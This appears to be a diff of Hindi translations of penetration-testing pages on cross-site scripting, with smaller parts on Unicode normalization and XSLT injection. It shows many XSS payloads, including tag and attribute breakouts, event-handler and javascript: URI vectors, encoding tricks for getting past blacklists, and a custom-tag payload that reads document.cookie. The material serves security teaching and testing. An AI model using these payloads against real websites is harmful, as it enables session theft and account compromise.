आप XSS को धोखा देने और शोषण करने के लिए निम्नलिखित वर्णों में से एक का उपयोग कर सकते हैं:
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (312) (2).png>)
ध्यान दें कि उदाहरण के लिए, पहले Unicode चरित्र को इस प्रकार भेजा जा सकता है: `%e2%89%ae` या `%u226e`
ध्यान दें कि उदाहरण के लिए, पहले Unicode वर्ण को इस तरह भेजा जा सकता है: `%e2%89%ae` या `%u226e`
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (215) (1) (1).png>)
### फज़िंग Regexes
जब बैकएंड **उपयोगकर्ता इनपुट को regex के साथ जांच रहा है**, तो यह संभव है कि **इनपुट** को **regex** के लिए **सामान्यीकृत** किया जा रहा हो लेकिन **जहां इसका उपयोग किया जा रहा है** वहां **नहीं**। उदाहरण के लिए, एक ओपन रीडायरेक्ट या SSRF में regex **भेजे गए URL** को **सामान्यीकृत** कर सकता है लेकिन फिर **इसे जैसा है वैसा ही एक्सेस कर सकता है**
जब बैकएंड **उपयोगकर्ता इनपुट को regex के साथ जांच रहा है**, तो यह संभव है कि **इनपुट** को **regex** के लिए **सामान्यीकृत** किया जा रहा हो लेकिन **जहां इसका उपयोग किया जा रहा है** वहां नहीं। उदाहरण के लिए, एक Open Redirect या SSRF में regex **भेजे गए URL** को **सामान्यीकृत** कर सकता है लेकिन फिर **इसे जैसा है वैसा ही एक्सेस कर सकता है**
उपकरण [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* बैकएंड को फज़ करने के लिए **इनपुट के विभिन्न रूपों को उत्पन्न करने** की अनुमति देता है। अधिक जानकारी के लिए **github** और इस [**पोस्ट**](https://0xacb.com/2022/11/21/recollapse/) की जांच करें।

View File

@ -4,7 +4,7 @@
## Basic Information
XSLT एक तकनीक है जिसका उपयोग XML दस्तावेजों को विभिन्न प्रारूपों में परिवर्तित करने के लिए किया जाता है। यह तीन संस्करणों में आता है: 1, 2, और 3, जिसमें संस्करण 1 सबसे सामान्य रूप से उपयोग किया जाता है। परिवर्तन प्रक्रिया को या तो सर्वर पर या ब्राउज़र के भीतर निष्पादित किया जा सकता है।
XSLT एक तकनीक है जिसका उपयोग XML दस्तावेजों को विभिन्न प्रारूपों में परिवर्तित करने के लिए किया जाता है। यह तीन संस्करणों में आता है: 1, 2, और 3, जिसमें संस्करण 1 सबसे सामान्य रूप से उपयोग किया जाता है। परिवर्तन प्रक्रिया को या तो सर्वर पर या ब्राउज़र के भीतर निष्पादित किया जा सकता है।
सबसे अधिक उपयोग किए जाने वाले ढांचे में शामिल हैं:
@ -12,7 +12,7 @@ XSLT एक तकनीक है जिसका उपयोग XML दस्
- **Xalan** Apache से,
- **Saxon** Saxonica से।
XSLT से संबंधित कमजोरियों के शोषण के लिए, आवश्यक है कि xsl टैग सर्वर साइड पर संग्रहीत हों, उसके बाद उस सामग्री तक पहुच प्राप्त की जाए। ऐसी एक कमजोरी का उदाहरण निम्नलिखित स्रोत में दस्तावेजीकृत है: [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/).
XSLT से संबंधित कमजोरियों का शोषण करने के लिए, आवश्यक है कि xsl टैग सर्वर साइड पर संग्रहीत हों, उसके बाद उस सामग्री तक पहुच प्राप्त की जाए। ऐसी एक कमजोरी का उदाहरण निम्नलिखित स्रोत में दस्तावेजित है: [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/)
## Example - Tutorial
```bash
@ -374,7 +374,9 @@ version="1.0">
## **Brute-Force Detection List**
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt
{{#endref}}
## **References**

View File

@ -24,8 +24,8 @@
4. क्या आप सुरक्षा को बायपास कर सकते हैं?
4. Javascript **कार्य** जो **निष्पादित** हो रहा है:
1. आप निष्पादित करने के लिए कार्य का नाम निर्दिष्ट कर सकते हैं। उदाहरण: `?callback=alert(1)`
4. यदि **उपयोग किया गया**:
1. आप **DOM XSS** का शोषण कर सकते हैं, ध्यान दें कि आपका इनपुट कैसे नियंत्रित किया जा रहा है और क्या आपका **नियंत्रित इनपुट किसी सिंक द्वारा उपयोग किया जा रहा है।**
4. यदि **उपयोग किया गया** है:
1. आप **DOM XSS** का शोषण कर सकते हैं, ध्यान दें कि आपका इनपुट कैसे नियंत्रित है और क्या आपका **नियंत्रित इनपुट किसी सिंक द्वारा उपयोग किया जा रहा है।**
जब आप एक जटिल XSS पर काम कर रहे हों, तो जानना दिलचस्प हो सकता है:
@ -56,7 +56,7 @@ XSS का सफलतापूर्वक शोषण करने के
1. **विशेषता और टैग से बाहर निकलने के लिए** (फिर आप कच्चे HTML में होंगे) और दुरुपयोग के लिए नया HTML टैग बनाएं: `"><img [...]`
2. यदि आप **विशेषता से बाहर निकल सकते हैं लेकिन टैग से नहीं** (`>` को एन्कोड किया गया है या हटा दिया गया है), तो टैग के आधार पर आप **एक इवेंट बना सकते हैं** जो JS कोड निष्पादित करता है: `" autofocus onfocus=alert(1) x="`
3. यदि आप **विशेषता से बाहर नहीं निकल सकते** (`"` को एन्कोड किया गया है या हटा दिया गया है), तो यह निर्भर करता है कि **कौन सी विशेषता** में आपका मान परिलक्षित हो रहा है **यदि आप पूरे मान को नियंत्रित करते हैं या केवल एक भाग** आप इसका दुरुपयोग कर सकेंगे। उदाहरण के लिए, यदि आप `onclick=` जैसे इवेंट को नियंत्रित करते हैं, तो आप इसे क्लिक करने पर मनमाना कोड निष्पादित करने के लिए बना सकेंगे। एक और दिलचस्प **उदाहरण** विशेषता `href` है, जहां आप मनमाना कोड निष्पादित करने के लिए `javascript:` प्रोटोकॉल का उपयोग कर सकते हैं: **`href="javascript:alert(1)"`**
3. यदि आप **विशेषता से बाहर नहीं निकल सकते** (`"` को एन्कोड किया गया है या हटा दिया गया है), तो यह निर्भर करता है कि **कौन सी विशेषता** में आपका मान परिलक्षित हो रहा है **यदि आप पूरे मान को नियंत्रित करते हैं या केवल एक भाग** आप इसका दुरुपयोग कर सकेंगे। **उदाहरण के लिए**, यदि आप `onclick=` जैसे इवेंट को नियंत्रित करते हैं, तो आप इसे क्लिक करने पर मनमाना कोड निष्पादित करने के लिए बना सकेंगे। एक और दिलचस्प **उदाहरण** विशेषता `href` है, जहां आप मनमाना कोड निष्पादित करने के लिए `javascript:` प्रोटोकॉल का उपयोग कर सकते हैं: **`href="javascript:alert(1)"`**
4. यदि आपका इनपुट "**अविकसित टैग**" के अंदर परिलक्षित होता है, तो आप **`accesskey`** ट्रिक का प्रयास कर सकते हैं (आपको इसे शोषित करने के लिए कुछ प्रकार की सामाजिक इंजीनियरिंग की आवश्यकता होगी): **`" accesskey="x" onclick="alert(1)" x="`**
यदि आप एक वर्ग नाम को नियंत्रित करते हैं तो Angular द्वारा XSS निष्पादित करने का अजीब उदाहरण:
@ -65,17 +65,17 @@ XSS का सफलतापूर्वक शोषण करने के
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
```
### JavaScript कोड के अंदर
### Inside JavaScript code
इस मामले में आपका इनपुट **`<script> [...] </script>`** टैग के बीच, एक HTML पृष्ठ के अंदर, एक `.js` फ़ाइल के अंदर या एक विशेषता के अंदर **`javascript:`** प्रोटोकॉल का उपयोग करते हुए परिलक्षित होता है:
इस मामले में आपका इनपुट **`<script> [...] </script>`** टैग के बीच, एक HTML पृष्ठ के अंदर, एक `.js` फ़ाइल के अंदर या एक विशेषता के अंदर **`javascript:`** प्रोटोकॉल का उपयोग करके परिलक्षित होता है:
- यदि यह **`<script> [...] </script>`** टैग के बीच परिलक्षित होता है, तो भले ही आपका इनपुट किसी भी प्रकार के उद्धरण के अंदर हो, आप `</script>` को इंजेक्ट करने और इस संदर्भ से बाहर निकलने का प्रयास कर सकते हैं। यह काम करता है क्योंकि **ब्राउज़र पहले HTML टैग को पार्स करेगा** और फिर सामग्री को, इसलिए यह नहीं देखेगा कि आपका इंजेक्ट किया गया `</script>` टैग HTML कोड के अंदर है।
- यदि यह **JS स्ट्रिंग के अंदर** परिलक्षित होता है और अंतिम ट्रिक काम नहीं कर रही है, तो आपको स्ट्रिंग से **बाहर निकलने**, अपने कोड को **निष्पादित करने** और **JS कोड को पुनर्निर्माण** करने की आवश्यकता होगी (यदि कोई त्रुटि है, तो इसे निष्पादित नहीं किया जाएगा):
- यदि यह **JS स्ट्रिंग के अंदर** परिलक्षित होता है और अंतिम ट्रिक काम नहीं कर रही है, तो आपको स्ट्रिंग से **बाहर निकलने**, अपने कोड को **निष्पादित करने** और JS कोड को **पुनर्निर्माण** करने की आवश्यकता होगी (यदि कोई त्रुटि है, तो इसे निष्पादित नहीं किया जाएगा):
- `'-alert(1)-'`
- `';-alert(1)//`
- `\';alert(1)//`
- यदि यह टेम्पलेट लिटेरल के अंदर परिलक्षित होता है, तो आप `${ ... }` सिंटैक्स का उपयोग करके **JS एक्सप्रेशंस** को **एंबेड** कर सकते हैं: `` var greetings = `Hello, ${alert(1)}` ``
- **Unicode एन्कोड** **मान्य javascript कोड** लिखने के लिए काम करता है:
- **Unicode encode** **मान्य javascript code** लिखने के लिए काम करता है:
```javascript
alert(1)
alert(1)
@ -83,7 +83,7 @@ alert(1)
```
#### Javascript Hoisting
Javascript Hoisting का मतलब है **फंक्शस, वेरिएबल्स या क्लासेस को उनके उपयोग के बाद घोषित करने का अवसर, ताकि आप उन परिदृश्यों का दुरुपयोग कर सकें जहां XSS अघोषित वेरिएबल्स या फंक्शंस का उपयोग कर रहा है।**\
Javascript Hoisting का मतलब है **फंक्शन्स, वेरिएबल्स या क्लासेस को उनके उपयोग के बाद घोषित करने का अवसर, ताकि आप उन परिदृश्यों का दुरुपयोग कर सकें जहाँ XSS अघोषित वेरिएबल्स या फंक्शन्स का उपयोग कर रहा है।**\
**अधिक जानकारी के लिए निम्नलिखित पृष्ठ देखें:**
{{#ref}}
@ -98,13 +98,13 @@ js-hoisting.md
![](<../../images/image (711).png>)
यदि यह संवेदनशील है, तो आप केवल मान भेजकर **एक अलर्ट ट्रिगर** कर सकते हैं: **`?callback=alert(1)`**। हालाँकि, यह बहुत सामान्य है कि ये एंडपॉइंट **सामग्री को मान्य करेंगे** ताकि केवल अक्षरों, संख्याओं, बिंदुओं और अंडरस्कोर की अनुमति दी जा सके (**`[\w\._]`**).
यदि यह संवेदनशील है, तो आप केवल मान भेजकर **एक अलर्ट ट्रिगर** कर सकते हैं: **`?callback=alert(1)`**। हालाँकि, यह बहुत सामान्य है कि ये एंडपॉइंट्स **सामग्री को मान्य करेंगे** ताकि केवल अक्षरों, संख्याओं, बिंदुओं और अंडरस्कोर की अनुमति दी जा सके (**`[\w\._]`**).
हालांकि, इस सीमा के बावजूद कुछ क्रियाएँ करना अभी भी संभव है। इसका कारण यह है कि आप उन मान्य वर्णों का उपयोग करके **DOM में किसी भी तत्व तक पहुँच सकते हैं**:
![](<../../images/image (747).png>)
इसके लिए कुछ उपयोगी फंक्शस:
इसके लिए कुछ उपयोगी फंक्शन्स:
```
firstElementChild
lastElementChild
@ -112,11 +112,11 @@ nextElementSibiling
lastElementSibiling
parentElement
```
आप सीधे **Javascript फ़ंक्शंस** को **trigger** करने की कोशिश कर सकते हैं: `obj.sales.delOrders`
आप सीधे **Javascript फ़ंक्शंस** को भी **ट्रिगर** करने की कोशिश कर सकते हैं: `obj.sales.delOrders`
हालांकि, आमतौर पर निर्दिष्ट फ़ंक्शन को निष्पादित करने वाले एंडपॉइंट्स ऐसे एंडपॉइंट्स होते हैं जिनमें ज्यादा दिलचस्प DOM नहीं होता है, **समान मूल के अन्य पृष्ठों** में **ज्यादा दिलचस्प DOM** होगा ताकि अधिक क्रियाएँ की जा सकें।
इसलिए, **विभिन्न DOM में इस कमजोरियों का दुरुपयोग करने के लिए** **Same Origin Method Execution (SOME)** शोषण विकसित किया गया था:
इसलिए, **विभिन्न DOM में इस कमजोरियों का दुरुपयोग करने के लिए** **Same Origin Method Execution (SOME)** शोषण विकसित किया गया:
{{#ref}}
some-same-origin-method-execution.md
@ -132,7 +132,7 @@ dom-xss.md
### **Universal XSS**
इस प्रकार के XSS **कहीं भी** पाए जा सकते हैं। ये केवल एक वेब एप्लिकेशन के क्लाइंट शोषण पर निर्भर नहीं करते हैं बल्कि **किसी भी** **संदर्भ** पर निर्भर करते हैं। इस प्रकार के **मनमाने JavaScript निष्पादन** का दुरुपयोग **RCE** प्राप्त करने, **क्लाइंट्स और सर्वर्स में मनमाने फ़ाइलों को पढ़ने**, और अधिक के लिए भी किया जा सकता है।\
इस प्रकार के XSS **कहीं भी** पाए जा सकते हैं। ये केवल एक वेब एप्लिकेशन के क्लाइंट शोषण पर निर्भर नहीं करते बल्कि **किसी भी** **संदर्भ** पर निर्भर करते हैं। इस प्रकार के **मनमाने JavaScript निष्पादन** का दुरुपयोग **RCE** प्राप्त करने, **क्लाइंट्स और सर्वर्स में मनमाने फ़ाइलों को पढ़ने**, और अधिक के लिए भी किया जा सकता है।\
कुछ **उदाहरण**:
{{#ref}}
@ -150,7 +150,7 @@ server-side-xss-dynamic-pdf.md
## कच्चे HTML के अंदर इंजेक्ट करना
जब आपका इनपुट **HTML पृष्ठ के अंदर** परिलक्षित होता है या आप इस संदर्भ में HTML कोड को बचा सकते हैं और इंजेक्ट कर सकते हैं, तो **पहली** चीज़ जो आपको करनी चाहिए वह यह है कि आप जांचें कि क्या आप `<` का दुरुपयोग करके नए टैग बना सकते हैं: बस उस **चर** को **परिलक्षित** करने की कोशिश करें और जांचें कि क्या इसे **HTML एन्कोडेड** किया गया है या **हटाया** गया है या यदि यह **बिना बदलाव के परिलक्षित** हो रहा है। **केवल अंतिम मामले में आप इस मामले का शोषण कर पाएंगे**।\
इन मामलों के लिए **याद रखें** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**।**\
इन मामलों के लिए भी **याद रखें** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**।**\
&#xNAN;_**नोट: एक HTML टिप्पणी को बंद किया जा सकता है\*\*\*\*\*\***&#x20;\***\*`-->`\*\***&#x20;\***\*या \*\*\*\*\*\***`--!>`\*\**_
इस मामले में और यदि कोई ब्लैक/व्हाइटलिस्टिंग का उपयोग नहीं किया गया है, तो आप ऐसे पे लोड का उपयोग कर सकते हैं:
@ -161,22 +161,22 @@ alert(1)
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
```
लेकिन, यदि टैग/विशेषताएँ काल/सफेद सूचीकरण का उपयोग कर रही हैं, तो आपको **यह पता लगाने के लिए ब्रूट-फोर्स करना होगा कि कौन से टैग** आप बना सकते हैं।\
लेकिन, यदि टैग/विशेषताएँ काल/सफेद सूचीकरण का उपयोग कर रही हैं, तो आपको **यह पता लगाने के लिए ब्रूट-फोर्स करना होगा कि कौन से टैग** आप बना सकते हैं।\
एक बार जब आप **यह पता लगा लेते हैं कि कौन से टैग अनुमत हैं**, तो आपको **पाए गए मान्य टैग के अंदर विशेषताएँ/इवेंट्स** के लिए ब्रूट-फोर्स करना होगा ताकि आप यह देख सकें कि आप संदर्भ पर कैसे हमला कर सकते हैं।
### टैग/इवेंट्स ब्रूट-फोर्स
जाएँ [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) और _**क्लिपबोर्ड में टैग कॉपी करें**_ पर क्लिक करें। फिर, सभी को Burp intruder का उपयोग करके भेजें और जांचें कि क्या कोई टैग WAF द्वारा दुर्भावनापूर्ण के रूप में खोजा नहीं गया। एक बार जब आप यह पता लगा लेते हैं कि आप कौन से टैग का उपयोग कर सकते हैं, तो आप **सभी इवेंट्स के लिए ब्रूट फोर्स कर सकते हैं** मान्य टैग का उपयोग करके (एक ही वेब पृष्ठ पर _**क्लिपबोर्ड में इवेंट्स कॉपी करें**_ पर क्लिक करें और पहले की तरह ही प्रक्रिया का पालन करें)।
जाएँ [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) और _**क्लिपबोर्ड में टैग कॉपी करें**_ पर क्लिक करें। फिर, सभी को Burp intruder का उपयोग करके भेजें और जांचें कि क्या कोई टैग WAF द्वारा दुर्भावनापूर्ण के रूप में नहीं खोजा गया। एक बार जब आप यह पता लगा लेते हैं कि आप कौन से टैग का उपयोग कर सकते हैं, तो आप **सभी इवेंट्स के लिए ब्रूट फोर्स कर सकते हैं** मान्य टैग का उपयोग करके (एक ही वेब पृष्ठ पर _**क्लिपबोर्ड में इवेंट्स कॉपी करें**_ पर क्लिक करें और पहले की तरह ही प्रक्रिया का पालन करें)।
### कस्टम टैग
यदि आप कोई मान्य HTML टैग नहीं ढूंढ पाते हैं, तो आप **एक कस्टम टैग बनाने** और `onfocus` विशेषता के साथ JS कोड निष्पादित करने का प्रयास कर सकते हैं। XSS अनुरोध में, आपको URL को `#` के साथ समाप्त करना होगा ताकि पृष्ठ **उस वस्तु पर ध्यान केंद्रित करे** और **कोड** को **निष्पादित** करे:
यदि आप कोई मान्य HTML टैग नहीं पाते हैं, तो आप **एक कस्टम टैग बनाने** और `onfocus` विशेषता के साथ JS कोड निष्पादित करने का प्रयास कर सकते हैं। XSS अनुरोध में, आपको URL को `#` के साथ समाप्त करना होगा ताकि पृष्ठ **उस वस्तु पर ध्यान केंद्रित करे** और **कोड** निष्पादित करे:
```
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
```
### ब्लैकलिस्ट बापास
### ब्लैकलिस्ट बापास
यदि किसी प्रकार की ब्लैकलिस्ट का उपयोग किया जा रहा है, तो आप कुछ बेवकूफी भरे ट्रिक्स के साथ इसे बापास करने की कोशिश कर सकते हैं:
यदि किसी प्रकार की ब्लैकलिस्ट का उपयोग किया जा रहा है, तो आप कुछ बेवकूफी भरे ट्रिक्स के साथ इसे बापास करने की कोशिश कर सकते हैं:
```javascript
//Random capitalization
<script> --> <ScrIpT>
@ -243,14 +243,14 @@ To check in which characters are decomposed check [here](https://www.compart.com
### Impossible - Dangling Markup
यदि आप केवल यह सोचते हैं कि **JS कोड निष्पादित करने के लिए एक HTML टैग के साथ एक विशेषता बनाना असंभव है**, तो आपको [**Dangling Markup**](../dangling-markup-html-scriptless-injection/) की जांच करनी चाहिए क्योंकि आप **बिना** **JS** कोड निष्पादित किए भेद्यता का **लाभ उठा सकते हैं**।
यदि आप केवल यह सोचते हैं कि **JS कोड निष्पादित करने के लिए एक HTML टैग के साथ एक विशेषता बनाना असंभव है**, तो आपको [**Dangling Markup** ](../dangling-markup-html-scriptless-injection/) की जांच करनी चाहिए क्योंकि आप **JS** कोड निष्पादित किए बिना **भेद्यता का लाभ उठा सकते हैं**।
## Injecting inside HTML tag
### Inside the tag/escaping from attribute value
यदि आप **HTML टैग के अंदर हैं**, तो आप जो पहली चीज़ कर सकते हैं वह है **टैग से बचना** और [पिछले अनुभाग](./#injecting-inside-raw-html) में उल्लेखित कुछ तकनीकों का उपयोग करके JS कोड निष्पादित करना।\
यदि आप **टैग से बच नहीं सकते**, तो आप टैग के अंदर नए विशेषताएँ बना सकते हैं ताकि JS कोड निष्पादित करने की कोशिश की जा सके, उदाहरण के लिए कुछ पेलोड का उपयोग करके (_ध्यान दें कि इस उदाहरण में विशेषता से बचने के लिए डबल कोट्स का उपयोग किया गया है, यदि आपका इनपुट सीधे टैग के अंदर परिलक्षित होता है तो आपको उनकी आवश्यकता नहीं होगी_) :
यदि आप **टैग से नहीं बच सकते**, तो आप टैग के अंदर नए विशेषताएँ बना सकते हैं ताकि JS कोड निष्पादित करने की कोशिश की जा सके, उदाहरण के लिए कुछ पेलोड का उपयोग करके जैसे (_ध्यान दें कि इस उदाहरण में विशेषता से बचने के लिए डबल कोट का उपयोग किया गया है, यदि आपका इनपुट सीधे टैग के अंदर परिलक्षित होता है तो आपको उनकी आवश्यकता नहीं होगी_) :
```bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@ -265,14 +265,14 @@ To check in which characters are decomposed check [here](https://www.compart.com
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
```
### विशेषता के भीतर
### एट्रिब्यूट के भीतर
यहां तक कि यदि आप **विशेषता से बच नहीं सकते** (`"` को एन्कोड या हटा दिया गया है), यह इस पर निर्भर करता है कि **कौन सी विशेषता** में आपका मान परिलक्षित हो रहा है **यदि आप सभी मान को नियंत्रित करते हैं या केवल एक भाग** तो आप इसका दुरुपयोग कर सकेंगे। **उदाहरण के लिए**, यदि आप एक इवेंट को नियंत्रित करते हैं जैसे `onclick=` तो आप इसे क्लिक करने पर मनमाना कोड निष्पादित करने के लिए बना सकेंगे।\
एक और दिलचस्प **उदाहरण** विशेषता `href` है, जहां आप मनमाना कोड निष्पादित करने के लिए `javascript:` प्रोटोकॉल का उपयोग कर सकते हैं: **`href="javascript:alert(1)"`**
यहां तक कि अगर आप **एट्रिब्यूट से बच नहीं सकते** (`"` को एन्कोड या हटा दिया गया है), यह इस पर निर्भर करता है कि **कौन सा एट्रिब्यूट** आपका मान प्रतिबिंबित हो रहा है **यदि आप सभी मान को नियंत्रित करते हैं या केवल एक भाग** तो आप इसका दुरुपयोग कर पाएंगे। **उदाहरण के लिए**, यदि आप एक इवेंट को नियंत्रित करते हैं जैसे `onclick=` तो आप इसे क्लिक करने पर मनमाना कोड निष्पादित करने के लिए बना सक हैं।\
एक और दिलचस्प **उदाहरण** एट्रिब्यूट `href` है, जहां आप मनमाना कोड निष्पादित करने के लिए `javascript:` प्रोटोकॉल का उपयोग कर सकते हैं: **`href="javascript:alert(1)"`**
**HTML एन्कोडिंग/URL एन्कोड का उपयोग करके इवेंट के भीतर बायपास**
HTML टैग विशेषताओं के मान के भीतर **HTML एन्कोडेड वर्ण** **रनटाइम पर डिकोड** होते हैं। इसलिए निम्नलिखित कुछ इस तरह मान्य होगा (पेलोड बोल्ड में है): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
HTML टैग एट्रिब्यूट के मान के भीतर **HTML एन्कोडेड कैरेक्टर्स** **रनटाइम पर डिकोड** होते हैं। इसलिए निम्नलिखित कुछ इस तरह मान्य होगा (पेलोड बोल्ड में है): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
ध्यान दें कि **किसी भी प्रकार की HTML एन्कोड मान्य है**:
```javascript
@ -295,7 +295,7 @@ HTML टैग विशेषताओं के मान के भीतर
```python
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
```
**Unicode एन्कोड का उपयोग करके अंदर के इवेंट को बायपास करें**
**यूनिकोड एन्कोड का उपयोग करके इनसाइड इवेंट बायपास करें**
```javascript
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
@ -325,7 +325,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
```
**इन स्थानों पर आप इन प्रोटोकॉल को इंजेक्ट कर सकते हैं**
**सामान्यतः** `javascript:` प्रोटोकॉल को **किसी भी टैग में उपयोग किया जा सकता है जो `href` एट्रिब्यूट को स्वीकार करता है** और **अधिकतर** टैग में जो **`src` एट्रिब्यूट को स्वीकार करता है** (लेकिन `<img>` में नहीं)
**सामान्यतः** `javascript:` प्रोटोकॉल को **किसी भी टैग में उपयोग किया जा सकता है जो `href` विशेषता को स्वीकार करता है** और **अधिकतर** टैग में जो **`src` विशेषता को स्वीकार करता है** (लेकिन `<img>` में नहीं)
```markup
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@ -347,7 +347,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
```
**अन्य ओब्फ़स्केशन ट्रिक्स**
_**इस मामले में, पिछले अनुभाग से HTML एन्कोडिंग और यूनिकोड एन्कोडिंग ट्रिक भी मान्य है क्योंकि आप एक एट्रिब्यूट के अंदर हैं।**_
_**इस मामले में, पिछले अनुभाग से HTML एन्कोडिंग और यूनिकोड एन्कोडिंग ट्रिक भी मान्य है क्योंकि आप एक विशेषता के अंदर हैं।**_
```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">
```
@ -422,7 +422,7 @@ onbeforetoggle="alert(2)" />
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
```
[**यहाँ**](https://portswigger.net/research/xss-in-hidden-input-fields) से: आप एक **छिपे हुए विशेषता** के अंदर **XSS पेलोड** निष्पादित कर सकते हैं, बशर्ते आप **शिकार** को **की संयोजन** दबाने के लिए **राजी** कर सकें। Firefox Windows/Linux पर की संयोजन **ALT+SHIFT+X** है और OS X पर यह **CTRL+ALT+X** है। आप एक्सेस की विशेषता में एक अलग कुंजी का उपयोग करके एक अलग की संयोजन निर्दिष्ट कर सकते हैं। यहाँ वेक्टर है:
[**यहाँ**](https://portswigger.net/research/xss-in-hidden-input-fields) से: आप एक **छिपे हुए विशेषता** के अंदर **XSS पेलोड** निष्पादित कर सकते हैं, बशर्ते कि आप **शिकार** को **की संयोजन** दबाने के लिए **राजी** कर सकें। Firefox Windows/Linux पर की संयोजन **ALT+SHIFT+X** है और OS X पर यह **CTRL+ALT+X** है। आप एक्सेस की विशेषता में एक अलग कुंजी का उपयोग करके एक अलग की संयोजन निर्दिष्ट कर सकते हैं। यहाँ वेक्टर है:
```markup
<input type="hidden" accesskey="X" onclick="alert(1)">
```
@ -430,7 +430,7 @@ onbeforetoggle="alert(2)" />
### ब्लैकलिस्ट बायपास
इस अनुभाग में विभिन्न एन्कोडिंग का उपयोग करने के कई ट्रिक्स पहले ही उजागर किए जा चुके हैं। **वापस जाएं और जानें कि आप कहां उपयोग कर सकते हैं:**
इस अनुभाग में विभिन्न एन्कोडिंग का उपयोग करने के कई ट्रिक्स पहले ही उजागर किए जा चुके हैं। **वापस जाएं और सीखें कि आप कहां उपयोग कर सकते हैं:**
- **HTML एन्कोडिंग (HTML टैग)**
- **यूनिकोड एन्कोडिंग (मान्य JS कोड हो सकता है):** `\u0061lert(1)`
@ -468,7 +468,7 @@ onbeforetoggle="alert(2)" />
## जावास्क्रिप्ट कोड के अंदर इंजेक्ट करना
इन मामलों में आपका **इनपुट** **JS कोड** के एक `.js` फ़ाइल या `<script>...</script>` टैग के बीच या HTML इवेंट के बीच जो JS कोड को निष्पादित कर सकते हैं या उन विशेषताओं के बीच जो `javascript:` प्रोटोकॉल को स्वीकार करते हैं, **प्रतिबिंबित** होने जा रहा है।
इन मामलों में आपका **इनपुट** **JS कोड** के एक `.js` फ़ाइल या `<script>...</script>` टैग के बीच या HTML इवेंट के बीच जो JS कोड को निष्पादित कर सकते हैं या उन विशेषताओं के बीच जो `javascript:` प्रोटोकॉल को स्वीकार करते हैं, में **प्रतिबिंबित** होने जा रहा है।
### \<script> टैग को एस्केप करना
@ -488,8 +488,8 @@ onbeforetoggle="alert(2)" />
```
### Template literals \`\`
**स्ट्रिंग्स** को बनाने के लिए, एकल और दोहरे उद्धरणों के अलावा, JS भी **बैकटिक्स** **` `` `** को स्वीकार करता है। इसे टेम्पलेट लिटेरल कहा जाता है क्योंकि यह `${ ... }` सिंटैक्स का उपयोग करके **JS एक्सप्रेशंस** को **एंबेड** करने की अनुमति देता है।\
इसलिए, यदि आप पाते हैं कि आपका इनपुट एक JS स्ट्रिंग के अंदर **प्रतिबिंबित** हो रहा है जो बैकटिक्स का उपयोग कर रहा है, तो आप **मनमाना JS कोड** निष्पादित करने के लिए `${ ... }` सिंटैक्स का दुरुपयोग कर सकते हैं:
**स्ट्रिंग्स** को बनाने के लिए, एकल और दोहरे उद्धरणों के अलावा, JS **बैकटिक्स** **` `` `** को भी स्वीकार करता है। इसे टेम्पलेट लिटेरल कहा जाता है क्योंकि यह `${ ... }` सिंटैक्स का उपयोग करके **JS एक्सप्रेशंस** को **एंबेड** करने की अनुमति देता है।\
इसलिए, यदि आप पाते हैं कि आपका इनपुट एक JS स्ट्रिंग के अंदर **रिफ्लेक्ट** हो रहा है जो बैकटिक्स का उपयोग कर रहा है, तो आप **मनमाने JS कोड** को निष्पादित करने के लिए `${ ... }` सिंटैक्स का दुरुपयोग कर सकते हैं:
इसका **दुरुपयोग** किया जा सकता है:
```javascript
@ -549,7 +549,7 @@ eval(8680439..toString(30))(983801..toString(36))
"\t" //tab
// Any other char escaped is just itself
```
**JS कोड के अंदर स्थान प्रतिस्थापन**
**JS कोड के अंदर स्पेस प्रतिस्थापन**
```javascript
<TAB>
/**/
@ -562,7 +562,7 @@ eval(8680439..toString(30))(983801..toString(36))
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
```
**जावास्क्रिप्ट नई पंक्तियाँ (से** [**जावास्क्रिप्ट नई पंक्ति**](./#javascript-new-lines) **कौशल)**
